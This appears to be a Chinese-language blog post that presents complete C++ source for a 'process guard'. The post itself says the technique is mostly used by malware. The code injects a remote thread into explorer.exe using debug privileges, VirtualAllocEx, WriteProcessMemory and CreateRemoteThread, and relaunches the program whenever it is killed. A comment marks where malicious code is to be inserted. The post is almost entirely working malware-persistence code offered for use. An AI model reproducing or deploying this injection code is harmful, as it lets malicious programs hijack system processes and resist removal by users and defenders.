安全之路 —— C++實現進程守護
阿新 • • 發佈:2018-09-08
之前 aps serve query value isa process read subst
簡介
所謂進程守護,就是A進程為了保護自己不被結束,創建了一個守護線程來保護自己,一旦被結束進程,便重新啟動。進程守護的方法多被應用於惡意軟件,是一個保護自己進程的一個簡單方式,在ring3下即可輕松實現。而創建守護線程的方法多采用遠程線程註入的方式,筆者之前曾介紹過遠程線程註入的基本方式,主要分為DLL遠程註入和無DLL遠程註入。
代碼實現
////////////////////////////////////////////////////////////////// // // FileName : ProcessProtectorDemo.cpp // Creator : PeterZheng // Date : 2018/9/06 17:32 // Comment : Process Protector // ////////////////////////////////////////////////////////////////// #pragma once #include <cstdio> #include <iostream> #include <cstdlib> #include <string.h> #include <string> #include <strsafe.h> #include <Windows.h> #include <tlhelp32.h> #include <vector> using namespace std; #define MAX_LENGTH 255 #pragma warning(disable:4996) //遠程線程參數結構體 typedef struct _remoteTdParams { LPVOID ZWinExec; // WinExec Function Address LPVOID ZOpenProcess; // OpenProcess Function Address LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address DWORD ZPid; // Param => Process id HANDLE ZProcessHandle; // Param => Handle CHAR filePath[MAX_LENGTH]; // Param => File Path }RemoteParam; //本地線程參數結構體 typedef struct _localTdParams { CHAR remoteProcName[MAX_LENGTH]; DWORD localPid; DWORD remotePid; HANDLE hRemoteThread; }LocalParam; //字符串分割函數 BOOL SplitString(const string& s, vector<string>& v, const string& c) { string::size_type pos1, pos2; pos2 = s.find(c); pos1 = 0; while (string::npos != pos2) { v.push_back(s.substr(pos1, pos2 - pos1)); pos1 = pos2 + c.size(); pos2 = s.find(c, pos1); } if (pos1 != s.length()) v.push_back(s.substr(pos1)); return TRUE; } //遠程線程函數體 (守護函數) DWORD WINAPI ThreadProc(RemoteParam *lprp) { typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow); typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); ZWinExec ZWE; ZOpenProcess ZOP; ZWaitForSingleObject ZWFSO; ZWE = (ZWinExec)lprp->ZWinExec; ZOP = (ZOpenProcess)lprp->ZOpenProcess; ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject; lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid); ZWFSO(lprp->ZProcessHandle, INFINITE); ZWE(lprp->filePath, SW_SHOW); return 0; } //獲取PID DWORD __cdecl GetProcessID(CHAR *ProcessName) { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return 0; BOOL bProcess = Process32First(hProcessSnap, &pe32); while (bProcess) { if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0) return pe32.th32ProcessID; bProcess = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); return 0; } //獲取權限 int __cdecl EnableDebugPriv(const TCHAR *name) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return 1; if (!LookupPrivilegeValue(NULL, name, &luid)) return 1; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = luid; if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1; return 0; } //線程註入函數 BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread) { if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE; HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid); if (!hWnd) return FALSE; RemoteParam rp; ZeroMemory(&rp, sizeof(RemoteParam)); rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess"); rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec"); rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject"); rp.ZPid = dwLocalPid; CHAR szPath[MAX_LENGTH] = "\0"; GetModuleFileName(NULL, szPath, sizeof(szPath)); StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath); RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteParam) return FALSE; if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE; LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteThread) return FALSE; if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE; hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL); if (!hThread) return FALSE; return TRUE; } //遠程線程監控函數(本地線程函數) DWORD WINAPI WatchFuncData(LPVOID lprarm) { HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread; DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid; DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid; CHAR szRemoteProcName[MAX_LENGTH] = "\0"; StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName); DWORD exitCode = 0; while (TRUE) { if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread); GetExitCodeThread(hRemoteThread, &exitCode); if (exitCode^STILL_ACTIVE) { WinExec(szRemoteProcName, SW_HIDE); dwRemotePid = GetProcessID(szRemoteProcName); InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread); } Sleep(1000); } return 0; } //主函數 int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { LocalParam lpLp; ZeroMemory(&lpLp, sizeof(LocalParam)); CHAR szRemoteProcName[MAX_LENGTH] = "\0"; CHAR szLocalProcName[MAX_LENGTH] = "\0"; CHAR currentFilePath[MAX_LENGTH] = "\0"; vector<string> pathGroup; GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath)); SplitString(currentFilePath, pathGroup, "\\"); StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str()); StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe"); StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName); StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName); DWORD dwRemotePid = GetProcessID(szRemoteProcName); DWORD dwLocalPid = GetProcessID(szLocalProcName); HANDLE hThread = NULL; lpLp.remotePid = dwRemotePid; lpLp.localPid = dwLocalPid; hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0); //....插入惡意代碼等工作流程 while (TRUE) { MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK); } WaitForSingleObject(hThread, INFINITE); return 0; }
安全之路 —— C++實現進程守護